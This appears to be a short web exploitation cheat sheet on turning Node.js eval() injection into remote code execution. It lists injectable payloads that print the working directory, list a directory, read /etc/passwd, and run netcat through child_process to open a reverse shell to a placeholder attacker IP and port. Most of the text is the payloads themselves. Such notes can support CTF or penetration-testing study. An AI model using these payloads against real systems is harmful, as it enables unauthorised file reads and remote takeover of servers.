# Web Exploitation 🕸️

## Node.js eval() to RCE

Using direct `eval()` can cause remote code execution if not properly validate or sanitize the input. This will lead to abuse of modules such as `process`, `fs` (file system) and `child_process` modules.

```javascript
process.cwd()     // print current directory


require('fs').readdirSync('/app').toString()     // same as dir & ls for listing the directory


require('fs').readFileSync("/etc/passwd").toString()      // read content of the file


require("child_process").exec('nc {ip} {port} -e /bin/sh')     // rce lead to reverse shell
```

## To be continue..


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